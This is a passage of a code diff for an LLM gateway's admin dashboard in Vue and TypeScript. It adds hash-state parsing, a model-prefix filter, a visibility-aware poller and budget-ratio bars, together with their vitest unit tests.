expect(parseChartsParams(new URLSearchParams('filter='))).toEqual({})
})
it.each([
['total', true],
['user:alice', true],
['group:ops', true],
['model:openai/gpt-5', true],
['user:', false], // empty id after the colon
['bogus', false],
['', false],
] as const)('scope %s valid=%s', (scope, valid) => {
const p = parseChartsParams(new URLSearchParams(scope ? `scope=${encodeURIComponent(scope)}` : ''))
expect(p.scope === scope).toBe(valid)
})
it('omits one invalid field while keeping the other valid ones (independent per-field validation)', () => {
const p = parseChartsParams(new URLSearchParams('window=fortnight&tab=models&scope=total'))
expect(p).toEqual({ tab: 'models', scope: 'total' })
})
it('returns an empty object for an empty query', () => {
expect(parseChartsParams(new URLSearchParams())).toEqual({})
})
})
describe('parseUsageParams', () => {
it('reads q when present', () => {
expect(parseUsageParams(new URLSearchParams('q=alice'))).toEqual({ q: 'alice' })
})
it('omits q when absent', () => {
expect(parseUsageParams(new URLSearchParams())).toEqual({})
})
it('omits q when it is an explicit empty string', () => {
expect(parseUsageParams(new URLSearchParams('q='))).toEqual({})
})
})
describe('parseEventsParams', () => {
it('reads kind and user when both present', () => {
expect(parseEventsParams(new URLSearchParams('kind=rate_limit&user=bob'))).toEqual({
kind: 'rate_limit',
user: 'bob',
})
})
it('accepts a kind this build does not recognize as an AdminEventKind (forward-compat, never rejected)', () => {
expect(parseEventsParams(new URLSearchParams('kind=some_future_kind'))).toEqual({ kind: 'some_future_kind' })
})
it('omits either field independently when absent', () => {
expect(parseEventsParams(new URLSearchParams('kind=budget'))).toEqual({ kind: 'budget' })
expect(parseEventsParams(new URLSearchParams('user=alice'))).toEqual({ user: 'alice' })
})
it('returns an empty object for an empty query', () => {
expect(parseEventsParams(new URLSearchParams())).toEqual({})
})
})
+135
View File
@@ -0,0 +1,135 @@
import { hashToTab, TAB_VALUES, tabToHash, type TabValue } from '@/composables/useTabHash'
import type { ChartTab, ModelMetric } from '@/stores/history'
import type { HistoryWindow } from '@/types/api'
/**
* DEFAULT_TAB is the app's landing tab when the hash names nothing
* recognized — parseHashState's own fallback, mirroring the old
* useTabHash's defaultTab parameter (which every call site passed
* 'providers' for anyway, so this needed no parameter of its own once
* folded into one composable, composables/useHashState.ts).
*/
export const DEFAULT_TAB: TabValue = 'providers'
export interface HashState {
tab: TabValue
query: URLSearchParams
}
/**
* parseHashState splits a raw location.hash ("#charts?window=day&scope=
* user:alice") into its outer tab — validated against TAB_VALUES via
* hashToTab, falling back to DEFAULT_TAB exactly like the pre-F9 useTabHash
* did for an absent/unrecognized/bogus tab — and the remaining query
* string, parsed once into a URLSearchParams every per-tab validator below
* reads from. A hash with no "?" (a bare "#usage", or the very first load
* with no hash at all) parses to an empty query, never throws.
*/
export function parseHashState(hash: string): HashState {
const raw = hash.startsWith('#') ? hash.slice(1) : hash
const qIndex = raw.indexOf('?')
const tabPart = qIndex === -1 ? raw : raw.slice(0, qIndex)
const queryPart = qIndex === -1 ? '' : raw.slice(qIndex + 1)
const tab = hashToTab(tabPart, TAB_VALUES, DEFAULT_TAB)
return { tab, query: new URLSearchParams(queryPart) }
}
/**
* buildHash re-serializes a tab plus an already-default-stripped param
* record back into a "#<tab>?<query>" string (F9) — mirrors tabToHash for
* the tab-only portion, adding a "?<query>" suffix only when `params` has
* at least one entry, so the common "nothing but the default selection"
* case round-trips to a bare "#<tab>" rather than a noisy "#<tab>?".
*
* "Omit defaults" is the CALLER's job, not this function's: what counts
* as default differs per field (window's default is 'hour', scope's is
* 'total', ...), so composables/useHashState.ts's own computed simply
* never puts a default-valued key into `params` in the first place.
* buildHash itself only defends against an explicitly empty-string value
* slipping through, dropping it the same way.
*/
export function buildHash(tab: TabValue, params: Record<string, string>): string {
const entries = Object.entries(params).filter(([, v]) => v !== '')
if (entries.length === 0) return tabToHash(tab)
return `${tabToHash(tab)}?${new URLSearchParams(entries).toString()}`
}
const HISTORY_WINDOWS: readonly HistoryWindow[] = ['hour', 'day', 'month']
const CHART_TABS: readonly ChartTab[] = ['requests', 'tokens', 'cost', 'models']
const MODEL_METRICS: readonly ModelMetric[] = ['req', 'tokin', 'tokout', 'cost']
/** SCOPE_PATTERN mirrors history.ts's own scope string convention: "total", or one of the three "{kind}:{id}" forms — an id may itself contain almost anything (a model id can contain slashes), so each kind only checks its own prefix plus a non-empty remainder, never the id's own shape. */
const SCOPE_PATTERN = /^(total|user:.+|group:.+|model:.+)$/
export interface ChartsHashParams {
window?: HistoryWindow
tab?: ChartTab
metric?: ModelMetric
scope?: string
/**
* The Models tab's provider-prefix filter (stores/history.ts's
* modelFilter), round-tripped through the hash so a provider-header
* link (nav.goToModels) or a hand-edited `#charts?tab=models&filter=`
* URL survives a reload or a hashchange — free text, not an enum, same
* convention as `scope` below and Usage's own `q` param.
*/
filter?: string
}
/**
* parseChartsParams validates the Charts tab's own hash query params.
* Each field is independently OMITTED (never throws, never substitutes a
* fabricated default itself) when absent or not one of its own known
* values — a hand-edited or stale-version URL with `window=fortnight` or
* `metric=bogus` degrades to "use whatever this field already is"
* (composables/useHashState.ts's own caller decides the actual default),
* rather than failing the whole hash or resetting every OTHER, valid
* field alongside the one bad one.
*/
export function parseChartsParams(query: URLSearchParams): ChartsHashParams {
const result: ChartsHashParams = {}
const window = query.get('window')
if (window && (HISTORY_WINDOWS as readonly string[]).includes(window)) result.window = window as HistoryWindow
const tab = query.get('tab')
if (tab && (CHART_TABS as readonly string[]).includes(tab)) result.tab = tab as ChartTab
const metric = query.get('metric')
if (metric && (MODEL_METRICS as readonly string[]).includes(metric)) result.metric = metric as ModelMetric
const scope = query.get('scope')
if (scope && SCOPE_PATTERN.test(scope)) result.scope = scope
const filter = query.get('filter')
if (filter) result.filter = filter
return result
}
export interface UsageHashParams {
q?: string
}
/** parseUsageParams reads the Usage tab's own single `q` param. It is free-text search input, not an enum, so there is nothing to validate beyond "present and non-empty" — any string round-trips as-is. */
export function parseUsageParams(query: URLSearchParams): UsageHashParams {
const q = query.get('q')
return q ? { q } : {}
}
export interface EventsHashParams {
kind?: string
user?: string
}
/**
* parseEventsParams reads the Events tab's own kind/user params. `kind` is
* deliberately NOT validated against AdminEventKind here (unlike Charts'
* enum fields above): lib/events-filter.ts's filterEvents already treats
* an unrecognized kind as "matches nothing" harmlessly, and rejecting it
* here would silently drop a link built against a server-added kind this
* webui build predates — the same "still carry it through" convention
* AdminEventView.kind's own `| string` union documents (types/api.ts).
*/
export function parseEventsParams(query: URLSearchParams): EventsHashParams {
const result: EventsHashParams = {}
const kind = query.get('kind')
const user = query.get('user')
if (kind) result.kind = kind
if (user) result.user = user
return result
}
+38
View File
@@ -0,0 +1,38 @@
import { describe, expect, it } from 'vitest'
import { filterModelsByPrefix } from './model-filter'
import type { AdminUsageModelEntry } from '@/types/api'
const models: AdminUsageModelEntry[] = [
{ id: 'openai/gpt-5', value: 10 },
{ id: 'openai/gpt-5-mini', value: 5 },
{ id: 'anthropic/claude-opus', value: 8 },
]
describe('filterModelsByPrefix', () => {
it('returns every entry unchanged when the prefix is empty', () => {
expect(filterModelsByPrefix(models, '')).toBe(models)
})
it('keeps only ids starting with the given provider prefix', () => {
const result = filterModelsByPrefix(models, 'openai/')
expect(result.map((m) => m.id)).toEqual(['openai/gpt-5', 'openai/gpt-5-mini'])
})
it('matches a full id exactly (a single-model prefix)', () => {
const result = filterModelsByPrefix(models, 'anthropic/claude-opus')
expect(result).toEqual([{ id: 'anthropic/claude-opus', value: 8 }])
})
it('returns an empty array when nothing matches the prefix', () => {
expect(filterModelsByPrefix(models, 'mistral/')).toEqual([])
})
it('is case-sensitive (ids are canonical, lowercase provider/model strings)', () => {
expect(filterModelsByPrefix(models, 'OpenAI/')).toEqual([])
})
it('does not match a substring that is not a prefix', () => {
expect(filterModelsByPrefix(models, 'gpt-5')).toEqual([])
})
})
+15
View File
@@ -0,0 +1,15 @@
import type { AdminUsageModelEntry } from '@/types/api'
/**
* filterModelsByPrefix narrows the Models tab's already-fetched ranking to
* entries whose canonical "provider/model" id starts with `prefix` (F6,
* dashboard-plan.md) — the client-side filter ChartsView.vue applies on
* top of stores/history.ts's own `modelFilter` state, set by
* ProvidersView.vue's provider-header link (nav.goToModels, stores/nav.ts
* — WP-B1). An empty prefix is "no filter", returning `models` unchanged
* — the default state before any provider link has been clicked.
*/
export function filterModelsByPrefix(models: AdminUsageModelEntry[], prefix: string): AdminUsageModelEntry[] {
if (!prefix) return models
return models.filter((m) => m.id.startsWith(prefix))
}
+224
View File
@@ -0,0 +1,224 @@
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
import { createVisibilityPoller, type VisibilityDocumentLike } from './polling'
/**
* createFakeDoc builds a minimal VisibilityDocumentLike test double: a
* mutable `hidden` flag the test flips directly, a single
* visibilitychange listener slot (real Document supports many, but this
* module only ever registers one), and `fire()`/`hasListener()` helpers
* so a test can drive and inspect it without any real DOM.
*/
function createFakeDoc() {
let hiddenValue = false
let listener: (() => void) | undefined
const doc: VisibilityDocumentLike = {
get hidden() {
return hiddenValue
},
addEventListener(_type, l) {
listener = l
},
removeEventListener(_type, l) {
if (listener === l) listener = undefined
},
}
return {
doc,
setHidden: (v: boolean) => {
hiddenValue = v
},
fire: () => listener?.(),
hasListener: () => listener !== undefined,
}
}
describe('createVisibilityPoller', () => {
beforeEach(() => {
vi.useFakeTimers()
})
afterEach(() => {
vi.useRealTimers()
})
it('ticks immediately on start, before the first interval elapses', () => {
const tick = vi.fn()
const poller = createVisibilityPoller({ intervalMs: 1000, tick, doc: createFakeDoc().doc })
poller.start()
expect(tick).toHaveBeenCalledTimes(1)
})
it('ticks again every intervalMs while running', () => {
const tick = vi.fn()
const poller = createVisibilityPoller({ intervalMs: 1000, tick, doc: createFakeDoc().doc })
poller.start()
vi.advanceTimersByTime(3000)
expect(tick).toHaveBeenCalledTimes(4) // immediate + 3 interval ticks
})
it('start() is idempotent — calling it twice does not double-schedule', () => {
const tick = vi.fn()
const poller = createVisibilityPoller({ intervalMs: 1000, tick, doc: createFakeDoc().doc })
poller.start()
poller.start()
vi.advanceTimersByTime(1000)
expect(tick).toHaveBeenCalledTimes(2) // one immediate + one interval tick, not two of either
})
it('stop() clears the interval — no further ticks', () => {
const tick = vi.fn()
const poller = createVisibilityPoller({ intervalMs: 1000, tick, doc: createFakeDoc().doc })
poller.start()
poller.stop()
vi.advanceTimersByTime(5000)
expect(tick).toHaveBeenCalledTimes(1) // only the immediate tick from start()
})
it('stop() is idempotent — safe to call before start() or twice in a row', () => {
const tick = vi.fn()
const poller = createVisibilityPoller({ intervalMs: 1000, tick, doc: createFakeDoc().doc })
expect(() => {
poller.stop()
poller.start()
poller.stop()
poller.stop()
}).not.toThrow()
expect(tick).toHaveBeenCalledTimes(1)
})
it('pauses polling while the document is hidden', () => {
const tick = vi.fn()
const fake = createFakeDoc()
const poller = createVisibilityPoller({ intervalMs: 1000, tick, doc: fake.doc })
poller.start()
tick.mockClear()
fake.setHidden(true)
fake.fire()
vi.advanceTimersByTime(5000)
expect(tick).not.toHaveBeenCalled()
})
it('catches up immediately when the document becomes visible again, then resumes the interval', () => {
const tick = vi.fn()
const fake = createFakeDoc()
const poller = createVisibilityPoller({ intervalMs: 1000, tick, doc: fake.doc })
poller.start()
fake.setHidden(true)
fake.fire()
tick.mockClear()
fake.setHidden(false)
fake.fire()
expect(tick).toHaveBeenCalledTimes(1) // the catch-up tick, not waiting out intervalMs
vi.advanceTimersByTime(1000)
expect(tick).toHaveBeenCalledTimes(2) // interval resumed after the catch-up
})
it('stop() removes the visibilitychange listener', () => {
const tick = vi.fn()
const fake = createFakeDoc()
const poller = createVisibilityPoller({ intervalMs: 1000, tick, doc: fake.doc })
poller.start()
expect(fake.hasListener()).toBe(true)
poller.stop()
expect(fake.hasListener()).toBe(false)
})
it('falls back to a plain interval with no visibility awareness when no document is available (vitest\'s node environment, no explicit doc passed)', () => {
const tick = vi.fn()
const poller = createVisibilityPoller({ intervalMs: 1000, tick })
poller.start()
vi.advanceTimersByTime(2000)
expect(tick).toHaveBeenCalledTimes(3) // immediate + 2 interval ticks — never throws for lack of `document`
poller.stop()
})
// P13: a poller started while the document is already hidden (e.g. this
// admin panel loaded in a background tab) must not tick until the reader
// actually looks at it — the pre-fix version ticked immediately and
// scheduled a background interval regardless of visibility.
it('does not tick immediately when the document is hidden at start', () => {
const tick = vi.fn()
const fake = createFakeDoc()
fake.setHidden(true)
const poller = createVisibilityPoller({ intervalMs: 1000, tick, doc: fake.doc })
poller.start()
expect(tick).not.toHaveBeenCalled()
poller.stop()
})
it('does not schedule a background interval while started hidden', () => {
const tick = vi.fn()
const fake = createFakeDoc()
fake.setHidden(true)
const poller = createVisibilityPoller({ intervalMs: 1000, tick, doc: fake.doc })
poller.start()
vi.advanceTimersByTime(10_000)
expect(tick).not.toHaveBeenCalled()
poller.stop()
})
it('ticks for the first time once the document becomes visible, having started hidden', () => {
const tick = vi.fn()
const fake = createFakeDoc()
fake.setHidden(true)
const poller = createVisibilityPoller({ intervalMs: 1000, tick, doc: fake.doc })
poller.start()
fake.setHidden(false)
fake.fire()
expect(tick).toHaveBeenCalledTimes(1)
vi.advanceTimersByTime(1000)
expect(tick).toHaveBeenCalledTimes(2) // interval resumed after the deferred first tick
poller.stop()
})
it('start() while hidden is still idempotent — a second call does not schedule a second listener/timer', () => {
const tick = vi.fn()
const fake = createFakeDoc()
fake.setHidden(true)
const poller = createVisibilityPoller({ intervalMs: 1000, tick, doc: fake.doc })
poller.start()
poller.start()
fake.setHidden(false)
fake.fire()
expect(tick).toHaveBeenCalledTimes(1) // one catch-up tick, not two
poller.stop()
})
it('ticks immediately when the document is already visible at start (unchanged, non-hidden case)', () => {
const tick = vi.fn()
const fake = createFakeDoc()
fake.setHidden(false)
const poller = createVisibilityPoller({ intervalMs: 1000, tick, doc: fake.doc })
poller.start()
expect(tick).toHaveBeenCalledTimes(1)
poller.stop()
})
})
+121
View File
@@ -0,0 +1,121 @@
// createVisibilityPoller is the ONE polling primitive stores/dashboard.ts,
// stores/history.ts, and stores/events.ts each wire their own refresh
// action into (vue.md: "if you've written it twice, you owe an
// abstraction") — three near-identical setInterval-plus-immediate-tick
// blocks collapsed into one tested module. Beyond the plain interval every
// one of them already had, this adds visibility awareness: a background
// browser tab has no reason to keep polling a Redis-backed admin panel
// every 5s/30s for no reader to see, and it catches back up the instant
// the tab is looked at again instead of waiting out whatever fraction of
// the interval happened to be left.
/**
* The subset of `Document` this module reads — a structural type, not the
* real DOM `Document`, so a test's fake stand-in needs no jsdom (vitest's
* 'node' environment, vite.config.ts, has none).
*/
export interface VisibilityDocumentLike {
readonly hidden: boolean
addEventListener(type: 'visibilitychange', listener: () => void): void
removeEventListener(type: 'visibilitychange', listener: () => void): void
}
export interface VisibilityPollerOptions {
/** How often `tick` fires while the page is visible. */
intervalMs: number
/**
* The store's own refresh step. Never awaited here — a caller that
* needs its own in-flight guard (history.ts keeps its "skip a tick
* while the previous fetch is still in flight" rule) builds that into
* `tick` itself, same as before this module existed.
*/
tick: () => void
/**
* The document to watch for visibility changes. Defaults to the real
* `document` global when one exists. In a non-browser context (vitest's
* 'node' test environment, or any future non-DOM caller) `document` is
* undefined, which is deliberately the "no document -> plain interval"
* fallback: every access to `doc` below is guarded, so importing or
* calling this module never throws there — it just behaves like a bare
* setInterval with an immediate first tick.
*/
doc?: VisibilityDocumentLike
}
export interface VisibilityPoller {
/** Idempotent: calling start() while already running is a no-op, mirroring the stores' own pre-existing startPolling/startAutoRefresh guards. */
start(): void
/** Idempotent: safe to call whether or not start() ever ran. */
stop(): void
}
/** resolveDoc picks the explicit `doc` option when given, else the real global if one exists, else undefined — computed once at creation, not read live on every tick. */
function resolveDoc(doc: VisibilityDocumentLike | undefined): VisibilityDocumentLike | undefined {
if (doc) return doc
return typeof document === 'undefined' ? undefined : (document as unknown as VisibilityDocumentLike)
}
export function createVisibilityPoller({ intervalMs, tick, doc }: VisibilityPollerOptions): VisibilityPoller {
const target = resolveDoc(doc)
let timer: ReturnType<typeof setInterval> | undefined
// P13 review fix: `timer !== undefined` alone used to double as start()'s
// idempotency guard, but a poller that STARTS while the page is hidden
// (below) never schedules a timer at all until the page is first looked
// at — with no separate flag, a second start() call while still hidden
// would find `timer` still undefined and incorrectly tick/schedule a
// second time. `started` is the idempotency guard now; `timer` is purely
// "is a tick currently scheduled".
let started = false
function clearTimer(): void {
if (timer === undefined) return
clearInterval(timer)
timer = undefined
}
function scheduleTimer(): void {
clearTimer()
timer = setInterval(tick, intervalMs)
}
// Pauses on hidden (clear the interval — nobody can see the result of a
// background poll) and catches up on visible again: an immediate tick,
// not just a freshly (re)started interval that would otherwise make the
// reader wait out the full intervalMs before seeing anything current.
function onVisibilityChange(): void {
if (!target) return
if (target.hidden) {
clearTimer()
} else {
tick()
scheduleTimer()
}
}
// P13: a poller STARTED while the document is already hidden (e.g. this
// admin panel loaded in a background tab) must not tick at all until the
// reader actually looks at it — ticking immediately regardless of
// visibility, the pre-fix behavior, polled a Redis-backed admin endpoint
// for a tab nobody could see, for as long as it stayed backgrounded.
// Ticking is deferred to onVisibilityChange's own "became visible" branch
// above, which already ticks immediately and reschedules the moment the
// tab is first shown — so a start-while-hidden poller's first tick is
// simply later, never skipped outright.
function start(): void {
if (started) return
started = true
if (!target?.hidden) {
tick()
scheduleTimer()
}
target?.addEventListener('visibilitychange', onVisibilityChange)
}
function stop(): void {
started = false
clearTimer()
target?.removeEventListener('visibilitychange', onVisibilityChange)
}
return { start, stop }
}
+122
View File
@@ -0,0 +1,122 @@
import { describe, expect, it } from 'vitest'
import { BAR_AMBER_THRESHOLD, BAR_RED_THRESHOLD, budgetRatios, ratioTier } from './usage-bars'
import type { AdminUsageEntryView } from '@/types/api'
function testEntry(overrides: Partial<AdminUsageEntryView> = {}): AdminUsageEntryView {
return {
kind: 'user',
id: 'alice',
requestsPerMinute: 0,
requestsPerDay: 0,
tokensInPerDay: 0,
tokensOutPerDay: 0,
tokensInPerMonth: 0,
tokensOutPerMonth: 0,
costPerDayMicroUsd: 0,
costPerMonthMicroUsd: 0,
rejectionsPerDay: 0,
...overrides,
}
}
describe('ratioTier', () => {
const cases: { name: string; ratio: number; expected: 'normal' | 'amber' | 'red' }[] = [
{ name: 'zero usage', ratio: 0, expected: 'normal' },
{ name: 'just below the amber threshold', ratio: 0.79, expected: 'normal' },
{ name: 'exactly at the amber threshold', ratio: BAR_AMBER_THRESHOLD, expected: 'amber' },
{ name: 'between amber and red', ratio: 0.99, expected: 'amber' },
{ name: 'exactly at the red threshold', ratio: BAR_RED_THRESHOLD, expected: 'red' },
{ name: 'over the limit', ratio: 1.5, expected: 'red' },
{ name: 'negative (defensive)', ratio: -0.2, expected: 'normal' },
{ name: 'NaN (defensive)', ratio: Number.NaN, expected: 'normal' },
]
it.each(cases)('$name -> $expected', ({ ratio, expected }) => {
expect(ratioTier(ratio)).toBe(expected)
})
})
describe('budgetRatios', () => {
it('returns an empty array when the entry has no limits configured', () => {
expect(budgetRatios(testEntry())).toEqual([])
})
it('returns an empty array when limits is present but every field is 0/omitted (LimitsConfig "unlimited" convention)', () => {
expect(budgetRatios(testEntry({ limits: {} }))).toEqual([])
})
it('returns an empty array for a storeDown entry even with limits configured — every counter is stale/unknown', () => {
expect(budgetRatios(testEntry({ limits: { requestsPerDay: 100 }, requestsPerDay: 50, storeDown: true }))).toEqual([])
})
it('includes only the limits actually configured, one BudgetRatio each', () => {
const ratios = budgetRatios(testEntry({ limits: { requestsPerMinute: 10 }, requestsPerMinute: 5 }))
expect(ratios).toEqual([{ id: 'reqMin', used: 5, limit: 10, ratio: 0.5 }])
})
it('combines tokensInPerDay + tokensOutPerDay into one tokDay bar against tokensPerDay', () => {
const ratios = budgetRatios(
testEntry({ limits: { tokensPerDay: 1000 }, tokensInPerDay: 300, tokensOutPerDay: 400 }),
)
expect(ratios).toEqual([{ id: 'tokDay', used: 700, limit: 1000, ratio: 0.7 }])
})
it('combines tokensInPerMonth + tokensOutPerMonth into one tokMonth bar against tokensPerMonth', () => {
const ratios = budgetRatios(
testEntry({ limits: { tokensPerMonth: 2000 }, tokensInPerMonth: 900, tokensOutPerMonth: 300 }),
)
expect(ratios).toEqual([{ id: 'tokMonth', used: 1200, limit: 2000, ratio: 0.6 }])
})
it('converts costPerDayUSD to micro-USD (Math.round(usd*1e6)) for the costDay bar', () => {
const ratios = budgetRatios(
testEntry({ limits: { costPerDayUSD: 0.5 }, costPerDayMicroUsd: 250_000 }),
)
expect(ratios).toEqual([{ id: 'costDay', used: 250_000, limit: 500_000, ratio: 0.5 }])
})
it('converts costPerMonthUSD to micro-USD for the costMonth bar', () => {
const ratios = budgetRatios(
testEntry({ limits: { costPerMonthUSD: 10 }, costPerMonthMicroUsd: 12_000_000 }),
)
expect(ratios).toEqual([{ id: 'costMonth', used: 12_000_000, limit: 10_000_000, ratio: 1.2 }])
})
// P11 review fix: a configured cost limit tiny enough to round to 0
// micro-USD must be SKIPPED, exactly like Go does (limits.go/metrics.go:
// `limit <= 0` skips the check) — never pushed as a ratio dividing by 0.
it('skips a costDay limit that rounds to 0 micro-USD, instead of dividing by 0', () => {
const ratios = budgetRatios(testEntry({ limits: { costPerDayUSD: 0.0000001 }, costPerDayMicroUsd: 5 }))
expect(ratios).toEqual([])
})
it('skips a costMonth limit that rounds to 0 micro-USD, instead of dividing by 0', () => {
const ratios = budgetRatios(testEntry({ limits: { costPerMonthUSD: 0.0000001 }, costPerMonthMicroUsd: 5 }))
expect(ratios).toEqual([])
})
it('returns one BudgetRatio per configured limit, in a fixed order, when every limit is set', () => {
const ratios = budgetRatios(
testEntry({
limits: {
requestsPerMinute: 10,
requestsPerDay: 100,
tokensPerDay: 1000,
tokensPerMonth: 20000,
costPerDayUSD: 1,
costPerMonthUSD: 20,
},
requestsPerMinute: 1,
requestsPerDay: 2,
tokensInPerDay: 3,
tokensOutPerDay: 4,
tokensInPerMonth: 5,
tokensOutPerMonth: 6,
costPerDayMicroUsd: 7,
costPerMonthMicroUsd: 8,
}),
)
expect(ratios.map((r) => r.id)).toEqual(['reqMin', 'reqDay', 'tokDay', 'tokMonth', 'costDay', 'costMonth'])
})
})
+131
View File
@@ -0,0 +1,131 @@
// F1 (usage-vs-limit bars): pure ratio math for the Usage tab's per-scope
// budget bars (UsageBar.vue), kept out of the component the same way
// lib/provider-rate.ts keeps the Providers tab's success-rate math out of
// ProvidersView.vue — vitest's node-environment config (vite.config.ts's
// `test` block) exercises it directly, no component mount required.
import type { AdminUsageEntryView } from '@/types/api'
/** BAR_AMBER_THRESHOLD is the used/limit ratio at and above which a bar reads amber ("approaching the limit") — below it, a bar reads its normal (healthy) tier. */
export const BAR_AMBER_THRESHOLD = 0.8
/** BAR_RED_THRESHOLD is the used/limit ratio at and above which a bar reads red ("at or over the limit") — a scope can exceed 1.0 (its usage window rolled forward past the limit before the next request was rejected), so this is a floor, not a ceiling. */
export const BAR_RED_THRESHOLD = 1.0
/** RatioTier is UsageBar.vue's own color tier, derived purely from a used/limit ratio — 'normal' below BAR_AMBER_THRESHOLD, 'amber' from there up to BAR_RED_THRESHOLD, 'red' at or above it. */
export type RatioTier = 'normal' | 'amber' | 'red'
/** ratioTier classifies a used/limit ratio into UsageBar.vue's three color tiers. A negative or NaN ratio (should not happen — every caller here derives ratio from non-negative usage/limit numbers) reads as 'normal', the safest default. */
export function ratioTier(ratio: number): RatioTier {
if (!Number.isFinite(ratio) || ratio < BAR_AMBER_THRESHOLD) return 'normal'
if (ratio < BAR_RED_THRESHOLD) return 'amber'
return 'red'
}
/**
* BudgetRatio is one configured limit's current used/limit reading for a
* scope — `id` names WHICH limit ("reqMin", "reqDay", "tokDay", "tokMonth",
* "costDay", "costMonth", matching usage-columns.ts's own column ids for
* the identical underlying figure), `used`/`limit` are the raw comparable
* numbers (requests, tokens, or micro-USD — never mixed units within one
* BudgetRatio), and `ratio` is `used / limit`.
*/
export interface BudgetRatio {
id: string
used: number
limit: number
ratio: number
}
/**
* MICROS_PER_USD converts a LimitsConfig cost limit (plain USD, e.g.
* `costPerDayUSD: 5`) into the same micro-USD unit AdminUsageEntryView's
* own cost fields already use — matching metrics.go's usdToMicros(round)
* convention (ground truth, dashboard-plan.md section 0).
*
* P11 review fix (DRY): this constant used to be declared independently
* three times (here, lib/forecast.ts, lib/usage-columns.ts) — this is now
* the ONE definition; lib/forecast.ts imports it, and lib/usage-columns.ts
* no longer needs its own copy at all (it now reads limits through
* budgetRatios below instead of re-deriving them — see numericColumn's own
* doc comment there).
*/
export const MICROS_PER_USD = 1_000_000
/**
* BUDGET_RATIO_LABEL (P10) names each BudgetRatio id in accurate,
* accessible text — shared by UsageView.vue's group-detail-grid bars and
* usage-columns.ts's own per-column bars (UsageBar's `label` prop, its
* aria-label). tokDay/tokMonth spell out "(in+out)" explicitly: the
* underlying ratio combines both directions (see budgetRatios' own doc
* comment below), and unlike a sighted reader — who sees the separate
* tokIn/tokOut columns beside it for context — a screen-reader user
* hearing just "tokIn/day, 1,500 / 2,000" next to a cell showing 500 has
* no other cue that the meter is measuring the COMBINED total, not that
* column's own count.
*/
export const BUDGET_RATIO_LABEL: Record<string, string> = {
reqMin: 'req/min',
reqDay: 'req/day',
tokDay: 'tokens (in+out)/day',
tokMonth: 'tokens (in+out)/month',
costDay: 'cost/day',
costMonth: 'cost/month',
}
function ratioOf(id: string, used: number, limit: number): BudgetRatio {
return { id, used, limit, ratio: used / limit }
}
/**
* budgetRatios returns one BudgetRatio per limit the entry actually has
* CONFIGURED (LimitsConfig's own "0/omitted means unlimited" convention —
* formatLimits, lib/format.ts, applies the identical `if (limits.x)` gate).
* A scope with no limits configured at all returns an empty array, and
* UsageBar.vue simply renders nothing for it — no bar implies no limit,
* never a fabricated 0%.
*
* Token limits combine tokensIn + tokensOut into one bar (coordinator
* decision, dashboard-plan.md section 3: "tokens in+out") — LimitsConfig
* enforces tokensPerDay/tokensPerMonth against the SUM of in+out
* (llmgateway.go ground truth), so a bar split by direction would show two
* numbers that individually stay under the limit while their sum has
* already crossed it.
*
* A storeDown entry returns an empty array too — every counter on a
* storeDown scope is stale/unknown (usage-columns.ts's own "?" masking
* convention), so a bar computed from it would show a fabricated,
* possibly wildly wrong ratio rather than the "unknown" state the rest of
* this panel already renders for that case.
*/
export function budgetRatios(entry: AdminUsageEntryView): BudgetRatio[] {
const limits = entry.limits
if (!limits || entry.storeDown) return []
const out: BudgetRatio[] = []
if (limits.requestsPerMinute) out.push(ratioOf('reqMin', entry.requestsPerMinute, limits.requestsPerMinute))
if (limits.requestsPerDay) out.push(ratioOf('reqDay', entry.requestsPerDay, limits.requestsPerDay))
if (limits.tokensPerDay) {
out.push(ratioOf('tokDay', entry.tokensInPerDay + entry.tokensOutPerDay, limits.tokensPerDay))
}
if (limits.tokensPerMonth) {
out.push(ratioOf('tokMonth', entry.tokensInPerMonth + entry.tokensOutPerMonth, limits.tokensPerMonth))
}
// P11 review fix: the two USD->micro-USD limit paths used to disagree —
// this used to gate on the RAW USD value being truthy, then round; a
// configured limit below 0.5 micro-USD (e.g. costPerDayUSD: 0.0000001)
// passed that truthy check but rounded to exactly 0 micro-USD, so
// ratioOf divided by 0 (an Infinity or NaN ratio). usage-columns.ts's own
// usdLimitMicros rounded FIRST, then checked the ROUNDED result for
// truthy — matching Go's own convention (limits.go/metrics.go: `limit <=
// 0` skips the check entirely). Rounding first here too, then gating on
// the rounded value, makes both paths agree with Go: a limit that rounds
// to 0 micro-USD is skipped, exactly like an unconfigured one.
if (limits.costPerDayUSD) {
const limitMicros = Math.round(limits.costPerDayUSD * MICROS_PER_USD)
if (limitMicros > 0) out.push(ratioOf('costDay', entry.costPerDayMicroUsd, limitMicros))
}
if (limits.costPerMonthUSD) {
const limitMicros = Math.round(limits.costPerMonthUSD * MICROS_PER_USD)
if (limitMicros > 0) out.push(ratioOf('costMonth', entry.costPerMonthMicroUsd, limitMicros))
}
return out
}
+194 -14
View File
@@ -1,6 +1,8 @@
import type { VNode } from 'vue'
import { isVNode } from 'vue'
import { describe, expect, it } from 'vitest'
import ScopeLink from '@/components/ScopeLink.vue'
import { usageColumns } from './usage-columns'
import type { AdminUsageEntryView } from '@/types/api'
@@ -24,6 +26,7 @@ function testEntry(overrides: Partial<AdminUsageEntryView> = {}): AdminUsageEntr
tokensOutPerMonth: 0,
costPerDayMicroUsd: 1_234_500,
costPerMonthMicroUsd: 0,
rejectionsPerDay: 0,
...overrides,
}
}
@@ -38,6 +41,10 @@ function accessorFnOf(col: unknown): (row: AdminUsageEntryView, index: number) =
return (col as { accessorFn: (row: AdminUsageEntryView, index: number) => unknown }).accessorFn
}
function cellOf(col: unknown): (ctx: { row: { original: AdminUsageEntryView } }) => unknown {
return (col as { cell: (ctx: { row: { original: AdminUsageEntryView } }) => unknown }).cell
}
describe('usageColumns: sorting stays on raw numeric values', () => {
const columns = usageColumns('Name', 'Group', () => 'g')
@@ -46,39 +53,34 @@ describe('usageColumns: sorting stays on raw numeric values', () => {
expect(accessorFnOf(col)(testEntry(), 0)).toBe(15_000_000)
})
it('a count column cell renders a CompactNumber vnode, not the raw number as text', () => {
it('a count column cell renders a CompactNumber vnode, not the raw number as text, when no limit is configured', () => {
const col = columns.find((c) => c.id === 'reqDay')
// ColumnDef's cell can be a string or a render function; every
// numericColumn call here uses the function form.
const cell = col?.cell as (ctx: { row: { original: AdminUsageEntryView } }) => unknown
const rendered = cell({ row: { original: testEntry() } })
const rendered = cellOf(col)({ row: { original: testEntry() } })
expect(isVNode(rendered)).toBe(true)
})
it('a cost column cell still renders plain formatted text (compact:false), not a CompactNumber vnode', () => {
it('a cost column cell still renders plain formatted text (compact:false), not a CompactNumber vnode, when no limit is configured', () => {
